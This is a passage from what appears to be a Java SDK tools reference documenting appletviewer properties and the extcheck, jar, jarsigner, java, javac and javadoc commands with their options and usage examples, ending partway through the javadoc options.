Info

Pops up a dialog box that contains information about the applet. This information is provided by the getAppletInfo() and getParameterInfo() methods implemented by the applet.

Edit

This command is not implemented. The Edit menu item is disabled.

Character Encoding

Displays the current character encoding in the status line. Java 1.1 and later.

Print

Prints the applet. Java 1.1 and later.

Properties

Displays a dialog that allows the user to set appletviewer preferences, including settings for firewall and caching proxy servers.

Close

Closes the current appletviewer window.

Quit

Quits appletviewer, closing all open windows.

CLASSPATH

In Java 1.0 and Java 1.1, appletviewer uses the CLASSPATH environment variable in the same way the Java interpreter does. See java for details. In Java 1.2 and later, however, appletviewer ignores this environment variable to better simulate the action of a web browser.

Properties

When it starts up, appletviewer reads property definitions from the file ~/.hotjava/properties (Unix) or .hotjava\properties relative to the HOME environment variable (Windows). These properties are stored in the system properties list and can specify the various error and status messages the applet viewer displays, as well as its security policies and use of proxy servers. The properties that affect security and proxies are described in the following sections. Most users of appletviewer do not need to use these properties.

Security Properties

The following properties specify the security restrictions appletviewer places on untrusted applets:

acl.read

A list of files and directories an untrusted applet is allowed to read. The elements of the list should be separated with colons on Unix systems and semicolons on Windows systems. On Unix systems, the ~ character is replaced with the home directory of the current user. If the plus character appears as an element in the list, it is replaced by the value of the acl.read.default property. This provides an easy way to enable read access--by simply setting acl.read to "+". By default, untrusted applets are not allowed to read any files or directories.

acl.read.default

A list of files and directories that are readable by untrusted applets if the acl.read property contains a plus character.

acl.write

A list of files and directories an untrusted applet is allowed to write to. The elements of the list should be separated with colons on Unix systems and semicolons on Windows systems. On Unix systems, the ~ character is replaced with the home directory of the current user. If the plus character appears as an element in the list, it is replaced by the value of the acl.write.default property. This provides an easy way to enable write access--by simply setting acl.write to "+". By default, untrusted applets are not allowed to write to any files or directories.

acl.write.default

A list of files and directories that are writable by untrusted applets if the acl.write property contains a plus character.

appletviewer.security.mode

Specifies the types of network access an untrusted applet is allowed to perform. If it is set to "none", the applet can perform no networking at all. The value "host" is the default; it specifies that the applet can connect only to the host from which it was loaded. The value "unrestricted" specifies that an applet can connect to any host without restrictions.

package.restrict.access.package-prefix

Properties of this form can be set to true to prevent untrusted applets from using classes in any package that has the specified package name prefix as the first component of its name. For example, to prevent applets from using any of the Sun classes (such as the Java compiler and the applet viewer itself) that are shipped with the Java SDK, you can specify the following property:

package.restrict.access.sun=true

appletviewer sets this property to true by default for the sun.* and netscape.* packages.

package.restrict.definition.package-prefix

Properties of this form can be set to true to prevent untrusted applets from defining classes in a package that has the specified package name prefix as the first component of its name. For example, to prevent an applet from defining classes in any of the standard Java packages, you can specify the following property:

package.restrict.definition.java=true

appletviewer sets this property to true by default for the java.*, sun.*, and netscape.* packages.

property.applet

When a property of this form is set to true (as of Java 1.1), it specifies that an applet should be allowed to read the property named property from the system properties list. By default, applets are allowed to read only 10 standard system properties (as detailed in Java Foundation Classes in a Nutshell (O'Reilly)). For example, to allow an applet to read the user.home property, specify a property of the form:

user.home.applet=true

Proxy Properties

appletviewer uses the following properties to configure its use of firewall and caching proxy servers:

firewallHost

The firewall proxy host to connect to if firewallSet is true.

firewallPort

The port of the firewall proxy host to connect to if firewallSet is true.

firewallSet

Whether the applet viewer should use a firewall proxy. Values are true or false.

proxyHost

The caching proxy host to connect to if proxySet is true.

proxyPort

The port of the caching proxy host to connect to if proxySet is true.

proxySet

Whether the applet viewer should use a caching proxy. Values are true or false.

See Also: java, javac, jdb

extcheck Java 2 SDK 1.2 and later
JAR Version Conflict Utility

Synopsis

extcheck -verbose jarfile

Description

extcheck checks to see if the extension contained in the specified jarfile (or a newer version of that extension) has already been installed on the system. It does this by reading the Specification-Title and Specification-Version manifest attributes from the specified jarfile and from all of the JAR files found in the system extensions directory.

extcheck is designed for use in automated installation scripts. Without the -verbose option, it does not print the results of its check. Instead, it sets its exit code to 0 if the specified extension does not conflict with any installed extensions and can be safely installed. It sets its exit code to a non-zero value if an extension with the same name is already installed and has a specification version number equal to or greater than the version of the specified file.

-verbose

Lists the installed extensions as they are checked and displays the results of the check.

See Also: jar

jar JDK 1.1 and later
Java Archive Tool

Synopsis

jar c|t|u|x[f][m][M][0][v] [ jar] [manifest] [-C directory] [files]
jar -i [ jar]

Description

jar is a tool that can create and manipulate Java Archive ( JAR) files. A JAR file is a ZIP file that contains Java class files, auxiliary resource files required by those classes, and optional meta-information. This meta-information includes a manifest file that lists the contents of the JAR archive and provides auxiliary information about each file.

The jar command can create JAR files, list the contents of JAR files, and extract files from a JAR archive. In Java 1.2 and later, it can also add files to an existing archive or update the manifest file of an archive. In Java 1.3 and later, jar can also add an index entry to a JAR file.

Options

The syntax of the jar command is reminiscent of the Unix tar (tape archive) command. Most options to jar are specified as a block of concatenated letters passed as a single argument, rather than as individual command-line arguments. The first letter of the first argument specifies what action jar is to perform; it is required. Other letters are optional. The various file arguments depend on which letters are specified.

Command Options

The first letter of the first option to jar specifies the basic operation jar is to perform. Here are the four possible options:

c

Creates a new JAR archive. A list of input files and/or directories must be specified as the final arguments to jar. The newly created JAR file has a META-INF/MANIFEST.MF file as its first entry. This automatically created manifest lists the contents of the JAR file and contains a message digest for each file.

t

Lists the contents of a JAR archive.

u

Updates the contents of a JAR archive. Any files listed on the command line are added to the archive. When used with the m option, this adds the specified manifest information to the JAR file. Java 1.2 and later.

x

Extracts the contents of a JAR archive. The files and directories specified on the command line are extracted and created in the current working directory. If no file or directory names are specified, all the files and directories in the JAR file are extracted.

Modifier Options

Each of the four command specifier letters can be followed by additional letters that provide further detail about the operation to be performed:

f

Indicates that jar is to operate on a JAR file whose name is specified on the command line. If this option is not present, jar reads a JAR file from standard input and/or writes a JAR file to standard output. If the f option is present, the command line must contain the name of the JAR file to operate on.

m

When jar creates or updates a JAR file, it automatically creates (or updates) a manifest file named META-INF/MANIFEST.MF in the JAR archive. This default manifest simply lists the contents of the JAR file. Many JAR files require additional information to be specified in the manifest; the m option tells the jar command that a manifest template is specified on the command line. jar reads this manifest file and stores all the information it contains into the META-INF/MANIFEST.MF file it creates. This m option should be used only with the c or u commands, not with the t or x commands.

M

Used with the c and u commands to tell jar not to create a default manifest file.

v

Tells jar to produce verbose output.

0

Used with the c and u commands to tell jar to store files in the JAR archive without compressing them. Note that this option is the digit zero, not the letter O.

Files

The first option to jar consists of an initial command letter and various option letters. This first option is followed by a list of files:

jar

If the first option contains the letter f, that option must be followed by the name of the JAR file to create or manipulate.

manifest

If the first option contains the letter m, that option must be followed by the name of the file that contains manifest information. If the first option contains both the letters f and m, the JAR and manifest files should be listed in the same order the f and m options appear. In other words, if f comes before m, the JAR filename should come before the manifest filename. Otherwise, if m comes before f, the manifest filename should be specified before the JAR filename.

files

The list of one or more files and/or directories to be inserted into or extracted from the JAR archive.

Additional Options

In addition to all the options listed previously, jar also supports the following:

-C dir

Used within the list of files to process; it tells jar to change to the specified dir while processing the subsequent files and directories. The subsequent file and directory names are interpreted relative to dir and are inserted into the JAR archive without dir as a prefix. Any number of -C options can be used; each remains in effect until the next is encountered. The directory specified by a -C option is interpreted relative to the current working directory, not the directory specified by the previous -C option. Java 1.2 and later.

-i jarfile

The -i option is used instead of the c, t, u, and x commands. It tells jar to produce an index of all JAR files referenced by the specified jarfile. The index is stored in a file named META-INF/INDEX.LIST ; a Java interpreter or applet viewer can use the information in this index to optimize its class and resource lookup algorithm and avoid downloading unnecessary JAR files. Java 1.3 and later.

Examples

The jar command has a confusing array of options, but, in most cases, its use is quite simple. To create a simple JAR file that contains all the class files in the current directory and all files in a subdirectory called images, you can type:

% jar cf my.jar *.class images

Examples: To verbosely list the contents of a JAR archive:

% jar tvf your.jar

Examples: To extract the manifest file from a JAR file for examination or editing:

% jar xf the.jar META-INF/MANIFEST.MF

Examples: To update the manifest of a JAR file:

% jar ufm my.jar manifest.template

See Also: jarsigner

jarsigner Java 2 SDK 1.2 and later
JAR Signing and Verification Tool

Synopsis

jarsigner [options] jarfile signer
jarsigner -verify jarfile

Description

jarsigner adds a digital signature to the specified jarfile, or, if the -verify option is specified, it verifies the digital signature or signatures already attached to the JAR file. The specified signer is a case-insensitive nickname or alias for the entity whose signature is to be used. The specified signer name is used to look up the private key that generates the signature.

When you apply your digital signature to a JAR file, you are implicitly vouching for the contents of the archive. You are offering your personal word that the JAR file contains only nonmalicious code, files that do not violate copyright laws, and so forth. When you verify a digitally signed JAR file, you can determine who the signer or signers of the file are and (if the verification succeeds) that the contents of the JAR file have not been changed, corrupted, or tampered with since the signature or signatures were applied. Verifying a digital signature is entirely different from deciding whether or not you trust the person or organization whose signature you verified.

jarsigner and the related keytool program replace the javakey program of Java 1.1.

Options

jarsigner defines a number of options, many of which specify how a private key is to be found for the specified signer. Most of these options are unnecessary when using the -verify option to verify a signed JAR file:

-certs

If this option is specified along with either the -verify or -verbose option, it causes jarsigner to display details of the public-key certificates associated with the signed JAR file.

-J javaoption

Passes the specified javaoption directly to the Java interpreter.

-keypass password

Specifies the password that encrypts the private key of the specified signer. If this option is not specified, jarsigner prompts you for the password.

-keystore url

A keystore is a file that contains keys and certificates. This option specifies the filename or URL of the keystore in which the private- and public-key certificates of the specified signer are looked up. The default is the file named .keystore in the user's home directory (the value of the system property user.home). This is also the default location of the keystore managed by keytool.

-sigfile basename

Specifies the base names of the .SF and .DSA files added to the META-INF/ directory of the JAR file. If you leave this option unspecified, the base filename is chosen based on the signer name.

-signedjar outputfile

Specifies the name for the signed JAR file created by jarsigner. If this option is not specified, jarsigner overwrites the jarfile specified on the command line.

-storepass password

Specifies the password that verifies the integrity of the keystore (but does not encrypt the private key). If this option is omitted, jarsigner prompts you for the password.

-storetype type

Specifies the type of keystore specified by the -keystore option. The default is the system-default keystore type, which on most systems is the Java Keystore type, known as "JKS". If you have the Java Cryptography Extension installed, you may want to use a "JCEKS" keystore instead.

-verbose

Displays extra information about the signing or verification process.

-verify

Specifies that jarsigner should verify the specified JAR file rather than sign it.

See Also: jar, keytool, javakey

java JDK 1.0 and later
The Java Interpreter

Synopsis

java [ interpreter-options ] classname [ program-arguments ]
java [ interpreter-options ] -jar jarfile [ program-arguments ]

Description

java is the Java byte-code interpreter; it runs Java programs. The program to be run is the class specified by classname. This must be a fully qualified name: it must include the package name of the class, but not the .class file extension. For example:

% java david.games.Checkers
% java Test

The specified class must define a main() method with exactly the following signature:

public static void main(String[] args)

This method serves as the program entry point: the interpreter begins execution here.

In Java 1.2 and later, a program can be packaged in an executable JAR file. To run a program packaged in this fashion, use the -jar option to specify the JAR file. The manifest of an executable JAR file must contain a Main-Class attribute that specifies which class within the JAR file contains the main() method at which the interpreter is to begin execution.

Any command-line options that precede the name of the class or JAR file to execute are options to the Java interpreter itself. Any options that follow the class name or JAR filename are options to the program; they are ignored by the Java interpreter and passed as an array of strings to the main() method of the program.

The Java interpreter runs until the main() method exits, and any threads (except for threads marked as daemon threads) created by the program have also exited.

Interpreter Versions

The java program is the basic version of the Java interpreter. In addition to this program, however, there are several other versions of the Java interpreter. Each of these versions is similar to java, but has a specialized function. The various interpreter programs are the following:

java

This is the basic version of the Java interpreter; it is usually the correct one to use. The behavior and set of supported options changed between Java 1.1 and Java 1.2.

oldjava

This version of the interpreter is included in Java 1.2 and Java 1.3x for compatibility with the Java 1.1 interpreter. It loads classes using the Java 1.1 class-loading scheme. Very few Java applications need to use this version of the interpreter.

javaw

This version of the interpreter is included only on Windows platforms. Use javaw when you want to run a Java program (from a script, for example) without forcing a console window to appear. In Java 1.2 and Java 1.3, there is also an oldjavaw program that combines the features of oldjava and javaw.

java_g

In Java 1.0 and Java 1.1, java_g is a debugging version of the Java interpreter. It includes a few specialized command-line options, but is rarely used. Windows platforms also define a javaw_g program. java_g is not included in Java 1.2 or later versions.

Client or Classic VM

In Java 1.3, the java application launcher tool can run a program using either of two VM implementations. The "Client VM" uses Sun's Hotspot incremental compilation technology and is highly tuned for running client-side Java applications (as opposed to server applications). This is the default VM. The "Classic VM" is essentially the same VM used by Java 1.2. To select the "Classic VM," specify the -classic option.

Just-In-Time Compiler

In Java 1.2, and in Java 1.3 when you specify the -classic option, the Java interpreter uses a just-in-time compiler (if one is available for your platform). A JIT converts Java byte codes to native machine instructions at runtime and significantly speeds up the execution of a typical Java program. If you do not want to use the JIT, you can disable it by setting the JAVA_COMPILER environment variable to "NONE" or the java.compiler system property to "NONE" using the -D option:

% setenv JAVA_COMPILER NONE                        // Unix syntax
% java -Djava.compiler=NONE MyProgram

If you want to use a different JIT compiler implementation, set the environment variable or system property to the name of the desired implementation.

Threading systems

On Solaris and related Unix platforms, you have a choice of the type of threads used by the Java 1.2 interpreter and the "Classic VM" of Java 1.3. To use native OS threads, specify -native. To use nonnative, or green, threads (the default), specify -green. In Java 1.3, the default "Client VM" uses native threads. Specifying -green or -native in Java 1.3 implicitly specifies -classic as well.

Options

-classic

Runs the "Classic VM" instead of the default high-performance "Client VM." Java 1.3 and later.

-classpath path

Specifies the directories, JAR files, and ZIP files java searches when trying to load a class. In Java 1.0 and 1.1, and with the oldjava interpreter, this option specifies the location of system classes, extension classes, and application classes. In Java 1.2 and later, this option specifies only the location of application classes. See Loading Classes for further details.

-cp

A synonym for -classpath. Java 1.2 and later.

-cs, -checksource

Both options tell java to check the modification times on the specified class file and its corresponding source file. If the class file cannot be found or if it is out of date, it is automatically recompiled from the source. Java 1.0 and Java 1.1 only; these options are not available in Java 1.2 and later.

-D propertyname=value

Defines propertyname to equal value in the system properties list. Your Java program can then look up the specified value by its property name. You can specify any number of -D options. For example:

% java -Dawt.button.color=gray -Dmy.class.pointsize=14 my.class
-debug

Causes java to start up in a way that allows the jdb debugger to attach itself to the interpreter session. In Java 1.2 and later, this option has been replaced with -Xdebug.

-green

On operating systems such as Solaris that support multiple styles of threading, this option selects nonnative, or green, threads. This is the default in Java 1.2. In Java 1.3, using this option also selects the -classic option. See also -native. Java 1.2 and later.

-help, -?

Prints a usage message and exits. See also -X.

-jar jarfile

Runs the specified executable jarfile. The manifest of the specified jarfile must contain a Main-Class attribute that identifies the class with the main() method at which program execution is to begin. Java 1.2 and later.

-l digit

Sets the logging level for trace output. See -t and -tm. java_g only.

-ms initmem[k|m]

Specifies how much memory is allocated for the heap when the interpreter starts up. In Java 1.2 and later, this option has been renamed -Xms.

-mx maxmem[k|m]

Specifies the maximum heap size the interpreter can use for dynamically allocated objects and arrays. In Java 1.2 and later, this option has been renamed -Xmx.

-native

On operating systems such as Solaris that support multiple styles of threading, this option selects native threads, instead of the default green threads. Using native threads can be advantageous in some circumstances, such as when running on a multi-CPU computer. In Java 1.3, the default Hotspot virtual machine uses native threads. Selecting this option in Java 1.3 implicitly selects the -classic option as well. Java 1.2 and later.

-noasyncgc

Do not do garbage collection asynchronously. With this option specified, java performs garbage collection only when it runs out of memory or when the garbage collector is explicitly invoked. Without this option, java runs the garbage collector as a separate, low-priority thread. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later versions.

-noclassgc

Do not garbage-collect loaded classes no longer in use. This option was added in Java 1.1; it has been renamed to -Xnoclassgc as of Java 1.2.

-noverify

Never run the byte-code verifier. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later versions.

-oss stacksize[k|m]

Sets the size of each thread's Java code stack. By default, stacksize is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default value is 400 KB. You must specify at least 1000 bytes. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later versions.

-prof[:file]

Outputs profiling information to the specified file or to the file java.prof in the current directory. The format of this profiling information is not well-documented. Prior to Java 1.1, no file can be specified; profiling information is always output to ./java.prof. Java 1.0 and Java 1.1 only; this option has been superseded in Java 1.2 by the -Xrunhprof option and in Java 1.3 by -Xprof.

-showversion

This option works like the -version option, except that the interpreter continues running after printing the version information. Java 1.3 and later.

-ss stacksize[k|m]

Sets the size of each thread's native code stack. By default, stacksize is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default value is 128 KB. You must specify at least 1000 bytes. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later versions.

-t

Outputs a trace of all byte codes executed. java_g only.

-tm

Outputs a trace of all methods executed. java_g only.

-verbose, -v, -verbose:class

Prints a message each time java loads a class. In Java 1.0 and Java 1.1, you can use -v as a synonym. In Java 1.2 and later, you can use -verbose:class as a synonym.

-verbosegc

Prints a message when garbage collection occurs. In Java 1.2 and later, this option has been renamed -verbose:gc.

-verbose:gc

Prints a message when garbage collection occurs. Java 1.2 and later. Prior to Java 1.2, use -verbosegc.

-verbose:jni

Prints a message when native methods are called. Java 1.2 and later.

-verify

Runs the byte-code verifier on all classes that are loaded. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later.

-verifyremote

Runs the byte-code verifier on all classes that are loaded through a class loader. (This generally refers to classes that are dynamically loaded from an untrusted location.) This is the default behavior for java. Java 1.0 and Java 1.1 only; this option has been removed in Java 1.2 and later.

-version

Prints the version of the Java interpreter and exits.

-X

Displays usage information for the nonstandard interpreter options (those beginning with -X) and exits. See also -help. Java 1.2 and later.

-Xbatch

Tells the Hotspot VM to perform all just-in-time compilation in the foreground, regardless of the time required for compilation. Without this option, the VM compiles methods in the background while interpreting them in the foreground. Java 1.3 and later.

-Xbootclasspath:path

Specifies a search path consisting of directories, ZIP files, and JAR files the java interpreter should use to look up system classes. With oldjava, use -classpath to specify this information. Use of this option is very rare. Java 1.2 and later.

-Xcheck:jni

Performs additional checks when using Java Native Interface functions. Java 1.2 and later.

-Xdebug

Starts the interpreter in a way that allows a debugger to communicate with it. Java 1.2 and later. Prior to Java 1.2, use -debug.

-Xfuture

Strictly checks the format of all class files loaded. Without this option, java performs the same checks that were performed in Java 1.1. Java 1.2 and later.

-Xincgc

Uses incremental garbage collection. In this mode the garbage collector runs continuously in the background, and a running program is rarely, if ever, subject to noticeable pauses while garbage collection occurs. Using this option typically results in a 10% decrease in overall performance, however. Java 1.3 and later.

-Xint

Tells the Hotspot VM to operate in interpreted mode only, without performing any just-in-time compilation. Java 1.3 and later.

-Xmixed

Tells the Hotspot VM to perform just-in-time compilation on frequently used methods ("hotspots") and execute other methods in interpreted mode. This is the default behavior. Java 1.3 and later.

-Xms initmem[k|m]

Specifies how much memory is allocated for the heap when the interpreter starts up. By default, initmem is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default is 1 MB. For large or memory-intensive applications (such as the Java compiler), you can improve runtime performance by starting the interpreter with a larger amount of memory. You must specify an initial heap size of at least 1000 bytes. Java 1.2 and later. Prior to Java 1.2, use -ms.

-Xmx maxmem[k|m]

Specifies the maximum heap size the interpreter uses for dynamically allocated objects and arrays. maxmem is specified in bytes by default. You can specify maxmem in kilobytes by appending the letter k and in megabytes by appending the letter m. The default is 16 MB. You cannot specify a heap size less than 1000 bytes. Java 1.2 and later. Prior to Java 1.2, use -mx.

-Xnoclassgc

Do not garbage-collect classes. Java 1.2 and later. In Java 1.1, use -noclassgc.

-Xprof

Prints profiling output to standard output. Java 1.3 and later. In Java 1.2, or when using the -classic option, use -Xrunhprof. Prior to Java 1.2, use -prof.

-Xrs

Requests that the interpreter use fewer operating system signals. This option may improve performance on some systems. Java 1.2 and later.

-Xrunhprof:suboptions

Turns on CPU, heap, or monitor profiling. suboptions is a comma-separated list of name=value pairs. Use -Xrunhprof:help for a list of supported options and values. Java 1.2 and later. Prior to Java 1.2, rudimentary profiling support is available with the -prof option. In Java 1.3, this option is supported if -classic is used, but is not supported by the new Hotspot VM. See -Xprof.

Loading Classes

The Java interpreter knows where to find the system classes that comprise the Java platform. In Java 1.2 and later, it also knows where to find the class files for all extensions installed in the system extensions directory. However, the interpreter must be told where to find the nonsystem classes that comprise the application to be run.

Class files are stored in directories that correspond to their package name. For example, the class com.davidflanagan.utils.Util is stored in a file com/davidflanagan/utils/Util.class. By default, the interpreter uses the current working directory as the root and looks for all classes in and beneath this directory.

The interpreter can also search for classes within ZIP and JAR files. To tell the interpreter where to look for classes, you specify a classpath : a list of directories and ZIP and JAR archives. When looking for a class, the interpreter searches each of the specified locations in the order in which they are specified.

The easiest way to specify a classpath is to set the CLASSPATH environment variable, which works much like the PATH variable used by a Unix shell or a Windows command-interpreter path. To specify a classpath in Unix, you might type a command like this:

% setenv CLASSPATH .:~/myclasses:/usr/lib/javautils.jar:/usr/lib/javaapps

On a Windows system, you might use a command like the following:

C:\> set CLASSPATH=.;c:\myclasses;c:\javatools\classes.zip;d:\javaapps

Note that Unix and Windows use different characters to separate directory and path components.

You can also specify a classpath with the -classpath or -cp options to the Java interpreter. A path specified with one of these options overrides any path specified by the CLASSPATH environment variable. In Java 1.2 and later, the -classpath option specifies only the search path for application and user classes. Prior to Java 1.2, or when using the oldjava interpreter, this option specifies the search path for all classes, including system classes and extension classes.

See Also: javac, jdb

javac JDK 1.0 and later
The Java Compiler

Synopsis

javac [ options ] files
oldjavac [ options ] files

Description

javac is the Java compiler; it compiles Java source code (in .java files) into Java byte codes (in .class files). The Java compiler is itself written in Java. The Java compiler has been completely rewritten in Java 1.3, and its performance has been substantially improved. Although the new javac is substantially compatible with previous versions of the compiler, the old version of the compiler is provided as oldjavac.

javac can be passed any number of Java source files, whose names must all end with the .java extension. javac produces a separate .class class file for each class defined in the source files. Each source file can contain any number of classes, although only one can be a public top-level class. The name of the source file (minus the .java extension) must match the name of the public class it contains.

In Java 1.2 and later, if a filename specified on the command line begins with the character @, that file is taken not as a Java source file, but as a list of Java source files. Thus, if you keep a list of Java source files for a particular project in a file named project.list, you can compile all those files at once with the command:

% javac @project.list

To compile a source file, javac must be able to find definitions of all classes used in the source file. It looks for definitions in both source-file and class-file form, automatically compiling any source files that have no corresponding class files or that have been modified since they were most recently compiled.

Options

-bootclasspath path

Specifies the search pathjavac uses to look up system classes. This option is handy when you are using javac as a cross-compiler to compile classes against different versions of the Java API. For example, you might use the Java 1.3 compiler to compile classes against the Java 1.2 runtime environment. This option does not specify the system classes used to run the compiler itself, only the system classes read by the compiler. See also -extdirs and -target. Java 1.2 and later.

-classpath path

Specifies the path javac uses to look up classes referenced in the specified source code. This option overrides any path specified by the CLASSPATH environment variable. The path specified is an ordered list of directories, ZIP files, and JAR archives, separated by colons on Unix systems or semicolons on Windows systems. If the -sourcepath option is not set, this option also specifies the search path for source files.

Prior to Java 1.2, this option specifies the path to system and extension classes, as well as user and application classes, and must be used carefully. In Java 1.2 and later, it specifies only the search path for application classes. See the discussion of "Loading Classes" in the documentation for the java command for further information.

-d directory

Specifies the directory in which (or beneath which) class files should be stored. By default, javac stores the .class files it generates in the same directory as the .java files those classes were defined in. If the -d option is specified, however, the specified directory is treated as the root of the class hierarchy, and .class files are placed in this directory or the appropriate subdirectory below it, depending on the package name of the class. Thus, the following command:

% javac -d /java/classes Checkers.java

places the file Checkers.class in the directory /java/classes if the Checkers.java file has no package statement. On the other hand, if the source file specifies that it is in a package:

package com.davidflanagan.games;

the .class file is stored in /java/classes/com/davidflanagan/games. When the -d option is specified, javac automatically creates any directories it needs to store its class files in the appropriate place.

-depend

Tells javac to recursively search for out-of-date class files in need of recompilation. This option forces a thorough compilation, but can slow the process down significantly. In Java 1.2 and later, this option has been renamed -Xdepend.

-deprecation

Tells javac to issue a warning for every use of a deprecated API. By default, javac issues only a single warning for each source file that uses deprecated APIs. Java 1.1 and later.

-extdirs path

Specifies a list of directories to search for extension JAR files. It is used along with -bootclasspath when doing cross-compilation for different versions of the Java runtime environment. Java 1.2 and later.

-g

Tells javac to add line number, source file, and local variable information to the output class files, for use by debuggers. By default, javac generates only the line numbers.

-g:none

Tells javac to include no debugging information in the output class files. Java 1.2 and later.

-g:keyword-list

Tells javac to output the types of debugging information specified by the comma-separated keyword-list. The valid keywords are: source, which specifies source-file information; lines, which specifies line number information; and vars, which specifies local variable debugging information. Java 1.2 and later.

-J javaoption

Passes the argument javaoption directly through to the Java interpreter. For example: -J-Xmx32m. javaoption should not contain spaces; if multiple arguments must be passed to the interpreter, use multiple -J options. Java 1.1 and later.

-nowarn

Tells javac not to print warning messages. Errors are still reported as usual.

-nowrite

Tells javac not to create any class files. Source files are parsed as usual, but no output is written. This option is useful when you want to check that a file will compile without actually compiling it. Java 1.0 and Java 1.1 only; this option is not available in Java 1.2 and later.

-O

Enables optimization of class files to improve their execution speed. Using this option can result in larger class files that are difficult to debug and cause longer compilation times. Prior to Java 1.2, this option is incompatible with -g; turning on -O implicitly turns off -g and turns on -depend.

-sourcepath path

Specifies the list of directories, ZIP files, and JAR archives that javac searches when looking for source files. The files found in this source path are compiled if no corresponding class files are found or if the source files are newer than the class files. By default, source files are searched for in the same places class files are searched for. Java 1.2 and later.

-target version

Specifies the class-file-format version to use for the generated class files. The default version is 1.1, which generates class files that can be read and executed by Java 1.0 and later virtual machines. If you specify version as 1.2, javac increments the class file version number, producing a class file that does not run with a Java 1.0 or Java 1.1 interpreter. There have not been any actual changes to the Java class-file format; the new version number is simply a convenient way to prevent classes that depend on the many new features of Java 1.2 from being run on out-of-date interpreters.

-verbose

Tells the compiler to display messages about what it is doing. In particular, it causes javac to list all the source files it compiles, including files that did not appear on the command line.

-X

Tells the javac compiler (and, in Java 1.3, the oldjavac compiler) to display usage information for its nonstandard options (all of which begin with -X). Java 1.2 and oldjavac only.

-Xdepend

Tells javac to recursively search for source files that need recompilation. This causes a very thorough but time-consuming compilation process. Java 1.2 and oldjavac only.

-Xstdout

Tells javac to send warning and error messages to the standard output stream instead of the standard error stream. Java 1.2 and oldjavac only.

-Xverbosepath

Displays verbose output explaining where various class files and source files were found. Java 1.2 and oldjavac only.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on Unix, semicolon-separated on Windows systems) of directories, ZIP files, and JAR archives in which javac should look for user class files and source files. This variable is overridden by the -classpath option.

See Also: java, jdb

javadoc JDK 1.0 and later
The Java Documentation Generator

Synopsis

javadoc [ options ] package... sourcefiles... @lists...

Description

javadoc generates API documentation, in HTML format (by default), for any number of packages and classes you specify. The javadoc command line can list any number of package names and any number of Java source files. For convenience, when working with a large number of packages or source files, you can list them all in an auxiliary file and specify the name of that file on the command line, preceded by an @ character.

javadoc uses the javac compiler to process all the specified Java source files and all the Java source files in all the specified packages. It uses the information it gleans from this processing to generate detailed API documentation. Most importantly, the generated documentation includes the contents of all documentation comments included in the source files. See Chapter 7, "Java Programming and Documentation Conventions", for information about writing doc comments in your own Java code.

When you specify a Java source file for javadoc to process, you must specify the name of the file that contains the source, including a complete path to the file. It is more common, however, to use javadoc to create documentation for entire packages of classes. When you specify a package for javadoc to process, you specify the package name, not the directory that contains the source code for the package. In this case, you may need to specify the -sourcepath option so that javadoc can find your package source code correctly if it is not stored in a location already listed in your default classpath.

javadoc creates HTML documentation by default, but you can customize its behavior by defining a doclet class that generates documentation in whatever format you desire. You can write your own doclets using the doclet API defined by the com.sun.javadoc package. Documentation for this package is included in the standard documentation bundle for Java 1.2 and later.

javadoc has significant new functionality as of Java 1.2. This reference page documents the Java 1.2 and later versions of the program, but makes no attempt to distinguish new features of the Java 1.2 version from the features that existed in previous versions.

Options

javadoc defines a large number of options. Some are standard options that are always recognized by javadoc. Other options are defined by the doclet that produces the documentation. The options for the standard HTML doclet are included in the following list:

-1.1

Simulates the output style and directory structure of the Java 1.1 version of javadoc.

-author

Includes authorship information specified with @author in the generated documentation. Default doclet only.

-bootclasspath

Specifies the location of an alternate set of system classes. This can be useful when cross-compiling. See javac for more information on this option.

-bottom text

Displays text at the bottom of each generated HTML file. text can contain HTML tags. See also -footer. Default doclet only.

-charset encoding

Specifies the character encoding for the output. This depends on the encoding used in the documentation comments of your source code, of course. The encoding value is used in a <META> tag in the HTML output. Default doclet only.

-classpath path

Specifies a path javadoc uses to look up both class files and, if you do not specify the -sourcepath option, source files. Because javadoc uses the javac compiler, it needs to be able to locate class files for all classes referenced by the packages being documented. See java and javac for more information about this option and the default value provided by the CLASSPATH environment variable.

-d directory

Specifies the directory in and beneath which javadoc should store the HTML files it generates. If this option is omitted, the current directory is used. Default doclet only.

-docencoding encoding

Specifies the encoding to be used for output HTML documents. The name of the encoding specified here may not exactly match the name of the charset specified with the -charset option. Default doclet only.

-doclet classname

Specifies the name of the doclet class to use to generate the documentation. If this option is not specified, javadoc generates documentation using the default HTML doclet.

-docletpath classpath

If the class specified by the -doclet tag is not available from the default classpath, this option specifies a path from which it can be loaded.

-doctitle text

Provides a title to display at the top of the documentation overview file. This file is often the first thing readers see when they browse the generated documentation. The title can contain HTML tags. Default doclet only.

-encoding encoding-name

Specifies the character encoding of the input source files and the documentation comments they contain. This can be different from the desired output encoding specified by -docencoding. The default is the platform default encoding.

-extdirs dirlist

Specifies a list of directories to search for standard extensions. Only necessary when cross-compiling with -bootclasspath. See javac for details.

-footer text

Specifies text to be displayed near the bottom of each file, to the right of the navigation bar. text can contain HTML tags. See also -bottom and -header. Default doclet only.

-group title packagelist

javadoc generates a top-level overview page that lists all packages in the generated document. By default, these packages are listed in alphabetical order in a single table. You can break them into groups of related packages with this option, however. The title specifies the title of the package group, such as "Core Packages." The packagelist is a colon-separated list of package names, each of which can include a trailing * character as a wildcard. The javadoc command line can contain any number of -group options. For example:

javadoc -group "AWT Packages" java.awt*
        -group "Swing Packages" javax.accessibility:javax.swing*
-header text

Specifies text to be displayed near the top of each file, to the right of the upper navigation bar. text can contain HTML tags. See also -footer, -doctitle, and -windowtitle. Default doclet only.

-help

Displays a usage message for javadoc.

-helpfile file

Specifies the name of an HTML file that contains help for using the generated documentation. javadoc includes links to this help file in all files it generates. If this option is not specified, javadoc creates a default help file. Default doclet only.

-J javaoption

Passes the argument javaoption directly through to the Java interpreter. When processing a large number of packages, you may need to use this option to increase the amount of memory javadoc is allowed to use. For example:

% javadoc -J-Xmx64m
-link url

